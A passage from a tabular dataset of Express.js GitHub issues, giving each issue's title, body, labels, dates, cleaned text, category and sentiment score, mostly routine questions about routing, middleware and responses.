... [TRUNCATED]","discuss,enhancement,question",2022-01-21 17:11:36+00:00,2022-02-18 11:02:05+00:00,6,"discuss,enhancement,question",27.7434,native support for esm clients attempting to import from express from an esm package does not currently work taking a look at express s root index js reveals this is not compatible with esm clients the client needs to use the esm require workaround but the user may not be aware of what this is eg i am currently using rollup typescript in an esm module and attempted to import express and was faced with a confusing error message that did not accurately reflect the problem at hand the user needs to esm require instead but really ought not to truncated,feature,-0.5789
expressjs/express,1106058826,routes conflict ,"problem with routes I have a work route and I want to get data in two ways one an individual work with id (/:id) and a list of works that can have limits and skip  as parameters (/:limit/:skip) but the problem is here that whatever I try to send to the second route (/:limit/:skip) will reach to the first one (/:id) I changed the  order of routes and did some other tricks the funniest part is I tried to add a route to stop the conflict  => (/withParams/:limit/:skip) but it's reaching as params to the (/:id) routes => ""withParams""  

I want to mention that I'm using express besides next.js  

the work routes file
```javascript
import express from ""express"";
import { Work, joiSchema } from ""../db/models/work"";
import { CallbackError } from ""mongoose"";

const router = express.Router();
router.get(""/withParams/:limit/:skip"", async (req, res) => {
  console.log(req.params);
  try {
    await Work.find()
      .then(data =>
        res.header({ ""Content-Type"": ""application/json"" }).send(data)
      )
      .catch(err => res.status(500).send(err));
  } catch (err) {
    res.status(500).send();
  }
});

router.get(""/:id"", async ({ params: { id } }, res) => {
  if (!id || isNaN(+id)) return res.status(400).send(""bad request"");
  try {
    await Work.findOne({ _id: id })
      .then(data => {
        if (!data)
          return res.status(404).send(`user with id:${id} doesn't exist`);
        res.header({ ""Content-Type"": ""application/json"" }).send(data);
... [TRUNCATED]",question,2022-01-17 16:30:58+00:00,2022-01-17 17:21:49+00:00,5,question,0.0353,routes conflict problem with routes i have a work route and i want to get data in two ways one an individual work with id id and a list of works that can have limits and skip as parameters limit skip but the problem is here that whatever i try to send to the second route limit skip will reach to the first one id i changed the order of routes and did some other tricks the funniest part is i tried to add a route to stop the conflict withparams limit skip but it s reaching as params to the id routes withparams i want to mention that i m using express besides next js the work routes file javascript import express from express import work joischema from db models work import callbackerror from mongoose const router express router router get withparams limit skip async req res console log req params try await work find then data res header content type application json send data catch err res status send err catch err res status send router get id async params id res if id isnan id return res status send bad request try await work findone id id then data if data return res status send res header content type application json send data truncated,help,-0.8047
expressjs/express,1105008938,Express route param is undefined when I use express.Router(),"So imagine if the current file I'm in is an express.Router() for the endpoint /post.

I tried to require a different router within the /post router called /:id (which is a url param), sorta like this: `router.use(""/:id"", require(""./idRouter""));`. So, if I go to idRouter.js (which' route is /post/:id) and write something like this:

```js
router.get(""/like"", (req, res) => {
  console.log(req.params.id)
  res.send({status:""SUCCESS""});
});
```

And then if I go to the endpoint in a browser (for example /post/12345/like) it does respond with {""status"":""SUCCESS""} but `req.params.id` is undefined, so I can't use it. Is this a bug or is this deliberate (for some reason)?

Note: `req.params` is an empty object",question,2022-01-16 10:07:49+00:00,2022-01-16 10:10:55+00:00,1,question,0.0022,express route param is undefined when i use express router so imagine if the current file i m in is an express router for the endpoint post i tried to require a different router within the post router called id which is a url param sorta like this so if i go to idrouter js which route is post id and write something like this and then if i go to the endpoint in a browser for example post like it does respond with status success but is undefined so i can t use it is this a bug or is this deliberate for some reason note is an empty object,help,-0.4194
expressjs/express,1097051826,Res.locals data changes during async/await,"I've never experienced this before...
but the res.locals object in one handler will change to point to the locals object of another authenticated user if they make a request around the same time while waiting for the database call to comeback via await.

Using-
""connect-redis"": ""^6.0.0"",
    ""cookie-parser"": ""^1.4.6"",
    ""dotenv"": ""^10.0.0"",
    ""ejs"": ""^3.1.6"",
    ""express"": ""^4.17.2"",
    ""express-session"": ""^1.17.2"",
    ""ioredis"": ""^4.28.2"",

i.e in the following code-
req.user.id = 5, res.locals.user.id = 5
after await response
req.user.id = 5, res.locals.user.id = 20 *or some other user's id, if they made a request around the same time

```
app.get('/dashboard', auth, async (req, res) => {
	let default_date = new Date();

	if (req.user.subscription) {
		let additional_message;
		if(!req.user.subscription.active) {
			if (req.user.subscription.failure_reason != """") {
				additional_message = ""Error"";
			}
			return res.redirect('/account#nav-payment');
		}
	} else {
		return res.send(404);
	}

	console.log('req user / res user', req.user.id, res.locals.user.id);
	let online = await User.findAll({
		where: { last_seen: { [Op.gte]: Date.now() - 1000 * 60 * 30 } },
		attributes: ['name', 'is_advisor', 'id']
	})
	console.log('req user / res user', req.user.id, res.locals.user.id);
	res.render('dashboard', {online});
});
```

Has anyone ever experienced this? If so, do you know how to fix this?
Otherwise it's rendering a different... [TRUNCATED]",awaiting more info,2022-01-08 22:44:29+00:00,2022-02-02 20:18:27+00:00,2,awaiting more info,24.8986,res locals data changes during async await i ve never experienced this before but the res locals object in one handler will change to point to the locals object of another authenticated user if they make a request around the same time while waiting for the database call to comeback via await using connect redis cookie parser dotenv ejs express express session ioredis i e in the following code req user id res locals user id after await response req user id res locals user id or some other user s id if they made a request around the same time has anyone ever experienced this if so do you know how to fix this otherwise it s rendering a different truncated,others,0.6858
expressjs/express,1096864109,one element array in request query is being parsed as string,"    ""compression"": ""^1.7.4"",
    ""cookie-session"": ""^1.4.0"",
    ""express"": ""^4.17.1"",
    ""express-actuator"": ""^1.8.0"",
    ""express-async-errors"": ""^3.1.1"",
    ""express-validator"": ""^6.14.0"",
    ""helmet"": ""^4.6.0"",",,2022-01-08 08:05:18+00:00,2022-01-08 08:27:48+00:00,1,nan,0.0156,one element array in request query is being parsed as string compression cookie session express express actuator express async errors express validator helmet,feature,-0.34
expressjs/express,1093878326,"why app.get() get called twice and the second one with ""as=json"" query string appended?","I created a simple code
```javascript
const express = require('express');
const favicon = require('serve-favicon');
const path = require('path');
const utils = require('./utils');

const port = process.env.PORT || 3000;
const app = express();

app.use(favicon(path.join(__dirname, '../public', 'favicon.ico')));

// Log request
app.use(utils.appLogger);

app.get('/test.html', (req, res) => {
    console.log(""test.html"");
    return res.send(""<H1>test</H1>"");
});

// root route - serve static file
app.get('/', (req, res) => {
    return res.sendFile(path.join(__dirname, '../public/client.html'));

});

// Catch errors
app.use(utils.logErrors);
app.use(utils.clientError404Handler);
app.use(utils.clientError500Handler);
app.use(utils.errorHandler);

app.listen(port, () => {
    console.log(`Server has started on port ${port}!`);
});

```
when I visited http://locahost:3000/test.html, I got the below log from console
```BASH
C:\GitHub\Samples\js-e2e-express-server-main>npm start

> js-e2e-express-server@1.0.0 start C:\GitHub\Samples\js-e2e-express-server-main
> nodemon dist/server3.js

[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node dist/server3.js`
Server has started on port 3000!
::1 - GET /test.html 200
test.html
::1 - GET /test.html?as=json 200
test.html
```
Can people help me to understand why test.html got called twice and seco... [TRUNCATED]",,2022-01-05 00:55:32+00:00,2022-01-05 04:05:06+00:00,1,nan,0.1316,why app get get called twice and the second one with as json query string appended i created a simple code when i visited i got the below log from console can people help me to understand why test html got called twice and seco truncated,others,0.5719
expressjs/express,1086611395,Redirect to https,"Hi! I'm running my express server inside a docker container, but I don't get to redirect http requests to https protocol.

I've tried with a few options, as for example, adding a 'express-http-to-https' to server.ts or enabling trust proxy but I get nothing.

Can you guys give a hand?

Thanks",question,2021-12-22 09:10:39+00:00,2022-03-27 06:06:26+00:00,3,question,94.8721,redirect to https hi i m running my express server inside a docker container but i don t get to redirect http requests to https protocol i ve tried with a few options as for example adding a express http to https to server ts or enabling trust proxy but i get nothing can you guys give a hand thanks,help,0.9274
expressjs/express,1082296677,res.download partial content,"To download a file we use the `download`

```javascript
app.get('/:filename', function(req, res) {
  var filePath = path.join(__dirname, 'code.jpg');
  res.download(filePath, 'test.jpeg');
});
```

but If I have a range query:

```
{
  'Content-Length': 223609,
  'Content-Type': 'audio/mpeg',
  'Access-Control-Allow-Origin': '*',
  'Access-Control-Allow-Methods': 'POST, GET, OPTIONS',
  'Access-Control-Allow-Headers': 'Range',
  Expires: 0,
  Pragma: 'no-cache',
  'Cache-Control': 'no-cache, no-store, must-revalidate',
  'Accept-Ranges': 'bytes',
  'Content-disposition': 'attachment; filename=/Users/loretoparisi/audio/test.mp3'
}
```

using `download` will not respect the Byte range, that instead will work in native browser player or using it manually like:

```javascript
header['Accept-Ranges'] = 'bytes';
header['Content-Length'] = parseInt(range[1]) - parseInt(range[0]) + 1;
 if(req.query.download) { // set download headers
   header['Content-disposition'] = 'attachment; filename=' + path;
}
 res.writeHead(200, header);
```",,2021-12-16 15:00:11+00:00,2022-02-02 20:16:10+00:00,1,nan,48.2194,res download partial content to download a file we use the but if i have a range query using will not respect the byte range that instead will work in native browser player or using it manually like,others,-0.0209
expressjs/express,1081825234,[REQUEST]  - Triage role,"# Request triager role for `@TarunavBA`

- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

- [x] jshttp
- [X] pillarjs
- [x] express",,2021-12-16 06:35:42+00:00,2021-12-16 07:02:26+00:00,1,nan,0.0186,request triage role request triager role for x i have read and understood the project s code of conduct x i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations x jshttp x pillarjs x express,feature,0.6369
expressjs/express,1080407397,hostname security?,**removed**,,2021-12-14 23:53:02+00:00,2021-12-15 00:02:13+00:00,1,nan,0.0064,hostname security removed,others,0.34
expressjs/express,1077132979,What needs to happen for express 5 to go beta?,"What needs to happen for express 5 to go beta or even to be fully released?

At this point I see @dougwilson sending people to the upgrade guide in some of the issues.

How can we help get this over the line. my hunch is that many many people are doing dangerous things with async functions not realizing that they need https://www.npmjs.com/package/express-async-errors. 

How can I help?",duplicate,2021-12-10 18:47:21+00:00,2021-12-10 18:50:54+00:00,6,duplicate,0.0025,what needs to happen for express to go beta what needs to happen for express to go beta or even to be fully released at this point i see dougwilson sending people to the upgrade guide in some of the issues how can we help get this over the line my hunch is that many many people are doing dangerous things with async functions not realizing that they need how can i help,others,0.3182
expressjs/express,1073903086,Run a function inside Express route and still render page in sendFile,"I have a React app using server-side rendering and I'm trying to hit a route using middleware to check assign redirects.

```
const app = express();

...

app.use(""/"", redirectRouter);
app.use(""/widgets"", widgetRouter);
app.use(""/api"", apiRouter);

app.use((req: Request, res: Response) => {
  res.sendFile(path.join(__dirname, ""public"", ""index.html""));
});
```

The second two middlewares are for some backend purposes and the last `app.use` serves up the React app if no other route is found. `app.use(""/"", redirectRouter)` is where I'm trying to run a loop that assigns redirects to an array of URLs. I want express to hit the middleware, run, but still serve `index.html` at the bottom.

Currently `app.use(""/"", redirectRouter)` does nothing. I've tried changing `""/""` to `""*""` which hits the route but no longer renders the page. I've also tried variations of `app.get`, `app.all`, and `app.options` which also do nothing.","help wanted,question",2021-12-08 01:14:50+00:00,2022-03-27 06:12:35+00:00,7,"help wanted,question",109.2068,run a function inside express route and still render page in sendfile i have a react app using server side rendering and i m trying to hit a route using middleware to check assign redirects the second two middlewares are for some backend purposes and the last serves up the react app if no other route is found is where i m trying to run a loop that assigns redirects to an array of urls i want express to hit the middleware run but still serve at the bottom currently does nothing i ve tried changing to which hits the route but no longer renders the page i ve also tried variations of and which also do nothing,help,-0.5023
expressjs/express,1071474187,Unable to load react application from express js application,"I created three react projects as Microfront ends from nrwl/react:app and an express project using nrwl/express:app with frontendApplication as the react project.

app1 & app2 are exposing their components using ModuleFederation webpack plugin. And then finally I am consuming app1's n app2's components in app3 using ModuleFederation plugin. I have to wrap this app3 with node js. and serve.

My requirement is to load my app3 react project from express server. So that I can add a middleware. I observed here that when I try to make the react app up then it is getting proxied from the express-app (added console and in proxy.config.json of react app i updated it to be '/', and added app.get('/') which listens whenever a browser url is hit with react app).
But when I try to load this react app from express app it gives me issue with js files loaded (polyfill and main,js) -
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname + '/..//index.html'));
});

![image](https://user-images.githubusercontent.com/18062708/144750823-c4297039-b0e9-46e6-b571-248ece23af6b.png)",question,2021-12-05 14:33:21+00:00,2022-02-22 04:37:29+00:00,2,question,78.5862,unable to load react application from express js application i created three react projects as microfront ends from nrwl react app and an express project using nrwl express app with frontendapplication as the react project app app are exposing their components using modulefederation webpack plugin and then finally i am consuming app s n app s components in app using modulefederation plugin i have to wrap this app with node js and serve my requirement is to load my app react project from express server so that i can add a middleware i observed here that when i try to make the react app up then it is getting proxied from the express app added console and in proxy config json of react app i updated it to be and added app get which listens whenever a browser url is hit with react app but when i try to load this react app from express app it gives me issue with js files loaded polyfill and main js app get req res res sendfile path join dirname index html image,help,0.4118
expressjs/express,1069345029,req.body is showing me object in reverse order.,"Hey,

I was building a To-do list web app using mern stack with redux. I created a simple form to enter the data but while sending post data to the backend I'm facing difficulty. My form textfield area name is 'task' (E.g. <input type=""text"" name=""task"">) and I'm passing let's say 'jonas' as the value. Everythin on the front-end is working fine but in the backend when I console the req.body in post method callback function, I do get {jonas: ' '} as the value. Why is this happening? I mean it should have been {task: 'jonas'}, right?

Please someone help me with this thing. I'm stuck on this problem for last two days. I could have shared the code screenshots but the codebase is really huge.

",question,2021-12-02 09:54:07+00:00,2021-12-07 04:26:01+00:00,2,question,4.7722,req body is showing me object in reverse order hey i was building a to do list web app using mern stack with redux i created a simple form to enter the data but while sending post data to the backend i m facing difficulty my form textfield area name is task e g and i m passing let s say jonas as the value everythin on the front end is working fine but in the backend when i console the req body in post method callback function i do get jonas as the value why is this happening i mean it should have been task jonas right please someone help me with this thing i m stuck on this problem for last two days i could have shared the code but the codebase is really huge,help,0.9142
expressjs/express,1061839996,Express JSON Problem,"If you don't put the ""()"" in the function ""app.use(express.json);"" the application has no errors and it's in an eternal loop, where it doesn't break the application, but it doesn't execute any requests either.",question,2021-11-24 00:11:21+00:00,2021-11-24 00:22:09+00:00,5,question,0.0075,express json problem if you don t put the in the function app use express json the application has no errors and it s in an eternal loop where it doesn t break the application but it doesn t execute any requests either,bug,-0.4854
expressjs/express,1061496420,[Request] - Triage Role `:D`,"# Request Triage Role for `@Segmentational` #

- Extending [Issue 4762](https://github.com/expressjs/express/discussions/4762)

---

- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

**I request for a triager role for the following GitHub organizations**:

- [x] `jshttp`
- [x] `pillarjs`
- [x] `express`
",,2021-11-23 16:39:48+00:00,2024-04-22 10:00:47+00:00,4,nan,880.7229,request triage role request triage role for extending issue x i have read and understood the project s code of conduct x i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations x x x,feature,0.6369
expressjs/express,1060612816,[Discussion] Looking to Provide Support - Request,"Hello, hello

First, I want to personally thank everyone a part of the team for their time and contribution(s).

## Overview ##

It seems that the project has been receiving some... weird and unjust heat, recently. While I am in belief that the project is incredibly stable at this time, I see pull requests that may have been lost due to timely responses.

I get it -- I can only imagine we're all busy with our actual day jobs, doing, well, the same thing we're doing here. 

I've been looking for quite some to a larger project to contribute to; I was thinking about IBM's Carbon-Design-Framework, but ever since I've shifted away from FastAPI as a backend, to express, I'm definitely much more interested in this project.

**Bottom-line**: I'd like to better understand what `express` is currently experiencing the most issues/problems with, and help out `:D`

## Background ##

The last three years I've been active 5-6 days a week contributing to various open source projects I created. Recently, I've since moved from my personal instance (GitLab*) to GitHub. I have no problem spinning that instance back up if anyone is interested in confirming, but the organization I house my projects nowadays is the following: https://github.com/cloud-hybrid

---

I'm looking forward to any and all feedback `:D`",,2021-11-22 21:31:26+00:00,2021-11-23 14:34:12+00:00,0,nan,0.7103,discussion looking to provide support request hello hello first i want to personally thank everyone a part of the team for their time and contribution s overview it seems that the project has been receiving some weird and unjust heat recently while i am in belief that the project is incredibly stable at this time i see pull requests that may have been lost due to timely responses i get it i can only imagine we re all busy with our actual day jobs doing well the same thing we re doing here i ve been looking for quite some to a larger project to contribute to i was thinking about ibm s carbon design framework but ever since i ve shifted away from fastapi as a backend to express i m definitely much more interested in this project bottom line i d like to better understand what is currently experiencing the most issues problems with and help out background the last three years i ve been active days a week contributing to various open source projects i created recently i ve since moved from my personal instance gitlab to github i have no problem spinning that instance back up if anyone is interested in confirming but the organization i house my projects nowadays is the following i m looking forward to any and all feedback,feature,0.9648
expressjs/express,1056840334,Request triager role for the-unfactoring-guru,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express

Extra Info:
I work at an organization called DevaSolutions (GitHub handle: [devasolutions](https://github.com/devasolutions)) and we create basic web applications for small companies in Latin America. Other than this, we also create open source tools for developers who want to be part of the web development community. Examples: [bring-me](https://github.com/devasolutions/bring-me) and the current development of a basic express project app generator (Repo not started yet).

Thank you,
sincerly
Mariano Hurtado de Mendoza",,2021-11-18 02:03:05+00:00,2022-02-02 20:20:36+00:00,1,nan,76.7622,request triager role for the unfactoring guru i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express extra info i work at an organization called devasolutions github handle devasolutions and we create basic web applications for small companies in latin america other than this we also create open source tools for developers who want to be part of the web development community examples bring me and the current development of a basic express project app generator repo not started yet thank you sincerly mariano hurtado de mendoza,feature,0.7643
expressjs/express,1055112953,Anniversary 🎂,"Hi @dougwilson,

First of all, thanks for maintaining this project for so long.

Today is the 11th anniversary of express.js (based on wikipedia).

I love using express and would love continue using it in the future. Unfortunately, express.js is written in a old coding styles and is hard to read and therefore also difficult to make PRs.

That's why I decided to make [`express6`](https://www.npmjs.com/package/express6). It uses the latest TypeScript features and up-to-date dependencies.

I will continue maintaining express6 and who knows, maybe someday you will merge it into express.

Tkanks! and Happy Birthday 😊

Yannick",meta,2021-11-16 17:01:57+00:00,2021-11-17 16:36:53+00:00,3,meta,0.9826,anniversary hi dougwilson first of all thanks for maintaining this project for so long today is the th anniversary of express js based on wikipedia i love using express and would love continue using it in the future unfortunately express js is written in a old coding styles and is hard to read and therefore also difficult to make prs that s why i decided to make it uses the latest typescript features and up to date dependencies i will continue maintaining express and who knows maybe someday you will merge it into express tkanks and happy birthday yannick,others,0.8625
expressjs/express,1053074659,Povide a setting to control req.fresh evaluation,"It is possible to disable the behind-the-scenes logic around the `Etag` header via `app.set(""etag"", false)`, but the same cannot be done against its counterpart, `If-Modified-Since` and Express silently discards a fully rendered response based on just evaluating `Last-Modified` vs. `If-Modified-Since`. RFC 7232 says that the `304` response SHOULD be sent in this case, but doesn't say it MUST be sent, which means that some configuration, similar to `etag` is needed to control this behavior.

In practical terms, I may have a listing of items and `Last-Modified` in this list would be the time stamp of the last item. Some of the items may be edited, which doesn't change the last modified date of the whole list, but may benefit from intermediate items displayed in their most up-to-date form. This is just an example, though, the `req.fresh` logic shouldn't enforce this behavior as if it's mandated by the RFC.

Here's an example:
```js
const express = require(""express"");
const app = express();
const port = 3000;

function index_get(req, res)
{
  // ... evaluates If-Modified-Since, decides to render a new response ...

  // keep the modified date (e.g. listing item was updated, but no new items added)
  res.set(""Last-Modified"", new Date(2021, 10, 14, 0, 0, 0).toUTCString());

  // runs database queries and generates a slightly different response, which is thrown away because of req.fresh
  res.send(""Hello World!"");
}

app.set(""etag"", false);
app.get(""/"", index_g... [TRUNCATED]",ideas,2021-11-14 23:40:39+00:00,2021-11-15 01:56:15+00:00,10,ideas,0.0942,povide a setting to control req fresh evaluation it is possible to disable the behind the scenes logic around the header via but the same cannot be done against its counterpart and express silently discards a fully rendered response based on just evaluating vs rfc says that the response should be sent in this case but doesn t say it must be sent which means that some configuration similar to is needed to control this behavior in practical terms i may have a listing of items and in this list would be the time stamp of the last item some of the items may be edited which doesn t change the last modified date of the whole list but may benefit from intermediate items displayed in their most up to date form this is just an example though the logic shouldn t enforce this behavior as if it s mandated by the rfc here s an example js const express require express const app express const port function index get req res evaluates if modified since decides to render a new response keep the modified date e g listing item was updated but no new items added res set last modified new date toutcstring runs database queries and generates a slightly different response which is thrown away because of req fresh res send hello world app set etag false app get index g truncated,others,0.5106
expressjs/express,1049260432,How do we find the user IP address when the request is made ?,I was thinking about Netflix or any big company's authentication and see how they work... so I noticed that if I log in from any device it sends me an approximate location and an IP Address. My question is how can we console log that IP address when the request is made? Thank You. ,question,2021-11-10 00:20:37+00:00,2021-11-10 00:22:11+00:00,4,question,0.0011,how do we find the user ip address when the request is made i was thinking about netflix or any big company s authentication and see how they work so i noticed that if i log in from any device it sends me an approximate location and an ip address my question is how can we console log that ip address when the request is made thank you,feature,0.3612
expressjs/express,1044269604,how to send a different response,"how to send a different response. 
example: 
- in browser = send html 
- on axios/fetch/curl = send json

URL example
https://api.zeks.me/api/ig?apikey=apivinz

HOW",question,2021-11-04 01:20:34+00:00,2021-11-15 00:08:16+00:00,3,question,10.9498,how to send a different response how to send a different response example in browser send html on axios fetch curl send json url example how,help,0.0
expressjs/express,1043902444,UPDATING THE SOURCE CODE,I was reading the source code of expressjs . I was thinking that we should update the source code to latest es6 version . Have any suggestions ??? I am also willing help in the process . I have not yet modified the code . Just reading it to know how it works . ,question,2021-11-03 17:53:51+00:00,2021-11-03 17:57:41+00:00,1,question,0.0027,updating the source code i was reading the source code of expressjs i was thinking that we should update the source code to latest es version have any suggestions i am also willing help in the process i have not yet modified the code just reading it to know how it works,help,0.4019
expressjs/express,1040311938,Older version of path-to-regexp in Express package.json causing problems with some paths,"Running Express 4.17.1, if you define a route like this:

`app.get(""/(user|u)"", ...)`

with the intention of matching either `/user` or `/u`, then you get this error when the `app.get()` first executes to register the route:

```
  return new RegExp(path, flags);
         ^

SyntaxError: Invalid regular expression: /^\/(?(?:([^\/]+?))|u)\/?$/: Invalid group
    at new RegExp (<anonymous>)
    at pathtoRegexp (D:\code\test\temp\node_modules\express\node_modules\path-to-regexp\index.js:128:10)
    at new Layer (D:\code\test\temp\node_modules\express\lib\router\layer.js:45:17)
    at Function.route (D:\code\test\temp\node_modules\express\lib\router\index.js:494:15)
    at Function.app.<computed> [as get] (D:\code\test\temp\node_modules\express\lib\application.js:481:30)
    at Object.<anonymous> (D:\code\test\temp\temp.js:45:5)
```

The issue occurs in the path-to-regexp module.  But, it appears to be something that has been fixed in more recent versions of path-to-regexp.  Express 4.17.1 has path-to-regexp: 0.1.7 in its package.json, whereas the latest version of path-to-regexp is 6.2.0.  And, when I manually call `path-to-regexp(""/(user|u)"")` in this latest version, it does not cause the problem seen above.  In fact, the code that causes the problem above has been completely rewritten in path-to-regexp as it looks nothing like the older version I step through in Express.",question,2021-10-30 21:52:30+00:00,2021-10-30 21:54:54+00:00,7,question,0.0017,older version of path to regexp in express package json causing problems with some paths running express if you define a route like this with the intention of matching either or then you get this error when the first executes to register the route the issue occurs in the path to regexp module but it appears to be something that has been fixed in more recent versions of path to regexp express has path to regexp in its package json whereas the latest version of path to regexp is and when i manually call in this latest version it does not cause the problem seen above in fact the code that causes the problem above has been completely rewritten in path to regexp as it looks nothing like the older version i step through in express,bug,0.77
expressjs/express,1039298395,Error [ERR_HTTP_HEADERS_SENT]: cannot set headers after they are sent to the client,"```js
//jshint esversion:6

const express = require(""express"");
const bodyParser = require(""body-parser"");
const ejs = require(""ejs"");

const homeStartingContent = ""Lacus vel facilisis volutpat est velit egestas dui id ornare. Semper auctor neque vitae tempus quam. Sit amet cursus sit amet dictum sit amet justo. Viverra tellus in hac habitasse. Imperdiet proin fermentum leo vel orci porta. Donec ultrices tincidunt arcu non sodales neque sodales ut. Mattis molestie a iaculis at erat pellentesque adipiscing. Magnis dis parturient montes nascetur ridiculus mus mauris vitae ultricies. Adipiscing elit ut aliquam purus sit amet luctus venenatis lectus. Ultrices vitae auctor eu augue ut lectus arcu bibendum at. Odio euismod lacinia at quis risus sed vulputate odio ut. Cursus mattis molestie a iaculis at erat pellentesque adipiscing."";
const aboutContent = ""Hac habitasse platea dictumst vestibulum rhoncus est pellentesque. Dictumst vestibulum rhoncus est pellentesque elit ullamcorper. Non diam phasellus vestibulum lorem sed. Platea dictumst quisque sagittis purus sit. Egestas sed sed risus pretium quam vulputate dignissim suspendisse. Mauris in aliquam sem fringilla. Semper risus in hendrerit gravida rutrum quisque non tellus orci. Amet massa vitae tortor condimentum lacinia quis vel eros. Enim ut tellus elementum sagittis vitae. Mauris ultrices eros in cursus turpis massa tincidunt dui."";
const contactContent = ""Scelerisque eleifend donec pretium vulputate sapien. Rhoncus u... [TRUNCATED]",question,2021-10-29 08:15:05+00:00,2021-10-29 08:23:27+00:00,0,question,0.0058,error err http headers sent cannot set headers after they are sent to the client js jshint esversion const express require express const bodyparser require body parser const ejs require ejs const homestartingcontent lacus vel facilisis volutpat est velit egestas dui id ornare semper auctor neque vitae tempus quam sit amet cursus sit amet dictum sit amet justo viverra tellus in hac habitasse imperdiet proin fermentum leo vel orci porta donec ultrices tincidunt arcu non sodales neque sodales ut mattis molestie a iaculis at erat pellentesque adipiscing magnis dis parturient montes nascetur ridiculus mus mauris vitae ultricies adipiscing elit ut aliquam purus sit amet luctus venenatis lectus ultrices vitae auctor eu augue ut lectus arcu bibendum at odio euismod lacinia at quis risus sed vulputate odio ut cursus mattis molestie a iaculis at erat pellentesque adipiscing const aboutcontent hac habitasse platea dictumst vestibulum rhoncus est pellentesque dictumst vestibulum rhoncus est pellentesque elit ullamcorper non diam phasellus vestibulum lorem sed platea dictumst quisque sagittis purus sit egestas sed sed risus pretium quam vulputate dignissim suspendisse mauris in aliquam sem fringilla semper risus in hendrerit gravida rutrum quisque non tellus orci amet massa vitae tortor condimentum lacinia quis vel eros enim ut tellus elementum sagittis vitae mauris ultrices eros in cursus turpis massa tincidunt dui const contactcontent scelerisque eleifend donec pretium vulputate sapien rhoncus u truncated,bug,-0.4588
expressjs/express,1037437537,'Better' Discussion/Question asking somethings,"Well I would suggest you guys to make a discord server or something the google discussions is ""dead"" and yea discord makes it easier to ask question, ig?","duplicate,question",2021-10-27 13:39:14+00:00,2021-10-27 13:43:38+00:00,2,"duplicate,question",0.0031,better discussion question asking somethings well i would suggest you guys to make a discord server or something the google discussions is dead and yea discord makes it easier to ask question ig,help,-0.4404
expressjs/express,1035239264,Is there any support for HTTP/2 on Express?,"Some time ago I opened a StackOverflow question about a misunderstanding why the HTTP/2 module wasn’t working on Express. They recommend visiting the status board of the project. Effectively, there was a help wanted about http2 / compression, but nothing about HTTP / 2 as well.  There is anothyng issue opened where I can read about HTTP/2 support, or there is any interesting on support from the community to make this possible?",duplicate,2021-10-25 14:54:44+00:00,2021-10-25 15:08:31+00:00,1,duplicate,0.0096,is there any support for http on express some time ago i opened a stackoverflow question about a misunderstanding why the http module wasn t working on express they recommend visiting the status board of the project effectively there was a help wanted about http compression but nothing about http as well there is anothyng issue opened where i can read about http support or there is any interesting on support from the community to make this possible,help,0.9501
expressjs/express,1033668620,router.use middleware is called twice,"### Node Version

12.22.3

### Express Version
4.17.1

### Platform

Darwin 3655368-6357e 18.7.0 Darwin Kernel Version 18.7.0: Tue Jan 12 22:04:47 PST 2021; root:xnu-4903.278.56~1/RELEASE_X86_64 x86_64

### Subsystem

_No response_

### What steps will reproduce the bug?

**app.js**

```js
var express = require('express');
var router = require('./router');
var app = express();
app.use(""/v1"",router);

app.use(""*"",(req,res)=>{
  return res.end(""Started"")
})
app.listen(3001,()=>console.log(""Started on port 3001""));
```

**router.js**

```js
var express = require('express');
var router = express.Router();
var axios = require('axios')

function makeApiCall(req) {
  return Promise.race([
    axios.request({
      url: ""http://temp.dash.zeta.in/food.php"",
      method: 'GET',
      headers: req.headers
    }),
    new Promise(resolve => {
      setTimeout(() => {
        const timeOutErrorObj = {
          errorMessage: ""API cancelled. Request TimeOut"",
          errorStatus: 408
        };
        return resolve(timeOutErrorObj);
      },0);
    })
  ]);
}

router.use('/food',(req, res, next) => {
  req.socket.setTimeout(0);
  console.log(""Set timeout"", req.res.socket.timeout)
  next();
});
router.use('/food', (req, res, next) => {
  console.log(""URL request for --->"", req.url);
  return makeApiCall(req).then(response => {
      const { errorStatus, errorMessage } = response;
      if (errorStatus) {
        return ... [TRUNCATED]",awaiting more info,2021-10-22 14:49:44+00:00,2021-11-17 17:51:51+00:00,30,awaiting more info,26.1265,router use middleware is called twice node version express version platform darwin e darwin kernel version tue jan pst root xnu release x x subsystem no response what steps will reproduce the bug app js router js js var express require express var router express router var axios require axios function makeapicall req return promise race axios request url method get headers req headers new promise resolve settimeout const timeouterrorobj errormessage api cancelled request timeout errorstatus return resolve timeouterrorobj router use food req res next req socket settimeout console log set timeout req res socket timeout next router use food req res next console log url request for req url return makeapicall req then response const errorstatus errormessage response if errorstatus return truncated,others,0.34
expressjs/express,1032708937,Question: How to send the Express Server console.log to the front end.,"Hi! I'm pretty new to JS and Node so it might be a dumb question. Ive look everywhere and I can't figure how to get a response from the Server. The goal is to be able to do a progress bar so I need to return the bytes download / Total bytes. 

For now i'm able to have the information but only on the server, I can't figure how to send it to the front end. 

Heres what I did so far.

Server.js
```
app.get('/', async (req, res) => {
    const response =
    fetch(`https://api.github.com/repos/${options.gitUser}/${options.gitRepo}/releases/latest`)
    .then(response => response.json()).then(data => { json = data; })
    .then(() => {
        let zip;
        for (i = 0; i < json['assets'].length; i++) {
            if (json['assets'][i]['name'] === `${options.softName}`) zip = json['assets'][i];
        }
        let received_bytes = 0;
        let total_bytes = 0;
        
        var req = request(
            {
                method: 'GET',
                uri: zip['browser_download_url']
            }
        );
        
        var out = fs.createWriteStream(`C:\\Users\\${options.userName}\\AppData\\Roaming\\Camnor\\Camsoft\\${options.softName}`);
        req.pipe(out);
        
        req.on('response', data => {
            total_bytes = parseInt(data.headers['content-length']);
        });

        req.on('data', chunk => {
            received_bytes += chunk.length;
